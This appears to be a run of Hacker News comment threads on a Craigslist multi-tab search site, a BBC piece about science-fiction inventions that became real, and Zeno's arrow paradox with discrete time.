<comment><USER3> Awesome, thanks! Will tinker with it. Your site, bookmarked.

</comment></comment></comment><comment><USER4> I like the idea of the CL tabs being built into the web page. When I'm looking for an apartment or something I'll tend to have a lot of CL pages open and I'm tired of them squeezing out all my other tabs.

</comment><comment><USER5> Clicking "home" brings me to the (stock GoDaddy landing page) <http://www.compubomb.net/>

<comment><AUTHOR> Yeah.. i used to use that name as my online handle.. I think it's about time I gave it up, so i let it expire. I just haven't had the time to update this code-base. I will probably do something with it sooner than later.

</comment></comment><comment><USER6> This is a useful app. Good job. Would like to be able to also search without entering a keyword.

</comment><comment><USER7> Clickable: <http://www.mykraigslist.com>

</comment><comment><USER8> Great stuff - to make this truly useful I need the subcategories like Gigs:Computer, etc.

</comment><comment><AUTHOR> Anyways, wrote this system using php, jQuery. Thought it was worth a shot showing people.</comment>


Science fact: Sci-fi inventions that became reality - <AUTHOR> http://www.bbc.com/news/health-38026393 <comment><USER3> Sorry but this is total bunk. Moving an object the size of a grain of rice with sound waves is not a tractor beam. And I can go on and on. If I want this sort of crap, I'll check my Facebook feed.

<comment><USER4> I wonder what the decisions look like in the editorial room. Is there some staff member sneaking this in to appear like they're doing work and there's not that much oversight? Do they say we need filler? Something that will get impressions? The Features & Analysis sidebar includes the following compelling titles:

\- 100 Women 2016: Big names, astonishing untold stories: Find out who is on the list

\- Extremist in the family: He bought his mum a diamond necklace — then fled to join IS

\- Clock watching: The global business that starts every day at 9.06am precisely

\- Boudoir in the Holy Land: Why Orthodox Jewish women are embracing glamour shoots (replete with shot of the back of a topless woman)

\- Parental alienation: 'I was manipulated by my father'

\- Tata crisis: How do you sack a boss who won't go?

and three more. I have a hard time distinguishing between the Features and Analysis pieces…

To their credit, none of the articles start with "This", is obviously a listicle, or promises a "weird tip".

<comment><USER5> > _\- 100 Women 2016: Big names, astonishing untold stories: Find out who is > on the list_

That's actually an annual award/list thing from the BBC [https://en.wikipedia.org/wiki/100_Women_(BBC)](https://en.wikipedia.org/wiki/100_Women_\(BBC\))

</comment></comment></comment><comment><USER6> > The story of a 14-year-old girl who won a landmark legal battle to be > preserved cryogenically has many people wondering how such technology > actually works - for many of us, it seems like something straight out of > science fiction.

For fuck's sake BBC.

[https://suesspiciousminds.com/2016/11/18/cryogenics-and- the-...](https://suesspiciousminds.com/2016/11/18/cryogenics-and-the-courts/)

> This case has attracted a lot of Press attention, and as ever, not all of it > is terribly accurate reporting. Most of the headlines have been along the > theme of "girl wins right to be frozen after death"

> > 32.All this case is about is providing a means by which the uncertainty > about what can happen during JS's lifetime and after her death can be > resolved so far as possible. JS cannot expect automatic acceptance of her > wishes, but she is entitled to know whether or not they can be acted upon by > those who will be responsible for her estate after her death. It would be > unacceptable in principle for the law to withhold its answer until after she > had died. Also, as a matter of practicality, argument about the preservation > issue cannot be delayed until after death as the process has to be started > immediately if it is to happen at all.

> It is also important to know that whilst JS was a pivotal part of the case > and the way it was resolved, the actual legal structure here is a dispute > between her parents. When I was hearing the case reported on the radio and > TV this morning, without having read the judgment, it made no sense to talk > of the child winning this 'right' because of course someone has to pay for > the cryogenic freezing. This was a dispute between the mother who was > supporting JS's wishes, and the father who was not.

etc.

</comment><comment><USER7> That was a bit strained. I found the linked article on Asimov's 1964 predictions about 2014 much more interesting.

[http://www.bbc.com/news/technology-27069716](http://www.bbc.com/news/technology-27069716)

</comment><comment><USER8> Jules Verne wrote about electrical submarines (Nautilus in 20,000 leagues under the sea), tasers, newscasts and videoconferencing, all became reality

<comment><USER9> The Nautilus is powered "by the same power as the sun", so you could argue that it is a nuclear submarine.

<comment><USER10> A nuclear fusion submarine, no less...so still not there yet!

</comment></comment></comment><comment><USER11> Flip phones were designed from the communicators in the original series of Star Trek.

If you're interested in the more theoretical side of the Beeb's article then I'd recommend Michio Kaku's book " _Physics of the Impossible_ "[1] (he also did a TV series on this topic but that wasn't nearly as good in my opinion)

[1] [https://www.amazon.co.uk/d/cka/Physics-Impossible- Scientific...](https://www.amazon.co.uk/d/cka/Physics-Impossible-Scientific- Exploration-Phasers-Fields-Teleportation/0141030909)

<comment><USER12> > I'd recommend Michio Kaku's

Take everything kaku writes with a grain of salt.

He frequently borders dangerously on charlatan.

<comment><USER11> I think that's a little unfair. The guy is a respected professional physicist after all. But you often only read about him or see him on TV when he's doing his "fluff" piece - but that's more a problem the with how the media loves to dumb things down than it is with Michio Kaku's credibility.

Regarding the book: it basically takes past scientific breakthroughs to show how tech has evolved, then couples that with current bleeding edge experiments and hypotheses to theorise how sci-fi concepts could/might be solved. It follows a nice balance between factual and entertainment which makes it a refreshing read compared to the dryness of many other books by respected scientific authors.

</comment></comment></comment><comment><USER13> Why has nobody mentioned massive, undiscriminating government surveillance yet?

</comment><comment><USER14> The style of cannon was a Columbiad, not the name of the vessel.

</comment><comment><USER15> Thought that was buzzfeed for a minute

<comment><USER16> Nah, BuzzFeed is better than this.

</comment></comment><comment><USER17> The best compendium of science fiction inventions is Technovelgy - <USER2> Science Meets Fiction: [http://www.technovelgy.com/ct/ctnlistPubDate.asp](http://www.technovelgy.com/ct/ctnlistPubDate.asp). There are hundreds of inventions listed there, many that have come true and some that haven't.

</comment><comment><USER18> No mention of geosynchronous satellites?

<comment><USER19> Clarke published his ideas about that in an engineering journal while he was a radar engineer, so it's not actually an example of science fiction becoming fact.

</comment></comment><comment><USER20> Almost all spacecraft had external viewers that displayed on internal screens to keep the hull strong and continuous. Now we have airplane companies thinking they invented the concept and were first (Airbus)

</comment><comment><USER21> What about actual inventions that weren't inspired from Science Fiction?

<comment><USER22> How would you be able to tell?

Inventions now draw on inventions of the past - how to be sure than any invention of the last few decades doesn't inherit some science-fiction base from its predecessors?

</comment></comment><comment><USER23> Uhh:

* Personal computers

* Cell phones

* GPS

* Video phone calls

* Carrying around your entire music collection in your pocket

* Self-driving cars

* Google

* Speech recognition

* Computers playing world-class chess and go

<comment><USER24> It's easier to list some of the SF standards that haven't happened (yet):

* Cure for cancer (getting closer...)

* Cure for AIDS (close?)

* Cure for colds, flu, and other viruses (unknown)

* Limb and organ regeneration

* Human genome hacking

* Offline memory (in the direct physical sense)

* Implant VR

* Cheap abundant energy (some movement, some way to go)

* Metamaterials and reality hacking

* Teleportation

* Hard general AI

* SETI confirmation

* FTL

</comment></comment><comment><USER25> What a lame article.

I personally think anti-lock brakes on motorcycles are pretty cool.

[https://www.youtube.com/watch?v=S2tKc8_7jB4](https://www.youtube.com/watch?v=S2tKc8_7jB4)

</comment><comment><USER26> Anybody made a comprehensive prediction about 2066 ?</comment>


Zeno's Paradox and Planck Units - <AUTHOR> https://www.rphv.net/blog/zenos-paradox-and-planck-units/

<comment><USER2> Here's one resolution to the Arrow paradox:

Zeno imagines that the state of the arrow must be represented by a single number--its position. But if its state includes a second number, velocity, the paradox goes away.

Imagine the arrow's life is a game played on a checkerboard. Its column represents its position in space, and its row represents its velocity. On each turn, if the arrow is in the first row, it moves one column to the right; if it is in the second row, it moves two columns to the right; in the third row three columns, and so on.

This game is easy enough to imagine, and represents both time (turns) and space (columns) discretely. No paradox here. No quantum mechanics either.

<comment><USER3> Another way that does not require any changes is if the arrow is made of multiple particles (which they are). Then some portion of the particles may move from step to step. These particles then interact with others which are stationary, passing their motion to them for the next step.

Thus the total speed of any composite object would be the ratio of how many of the particles are "moving", to how many are "stationary" at that step.

<comment><USER4> Wouldn't that imply that the size of objects influences the way they could possibly move?</comment></comment></comment>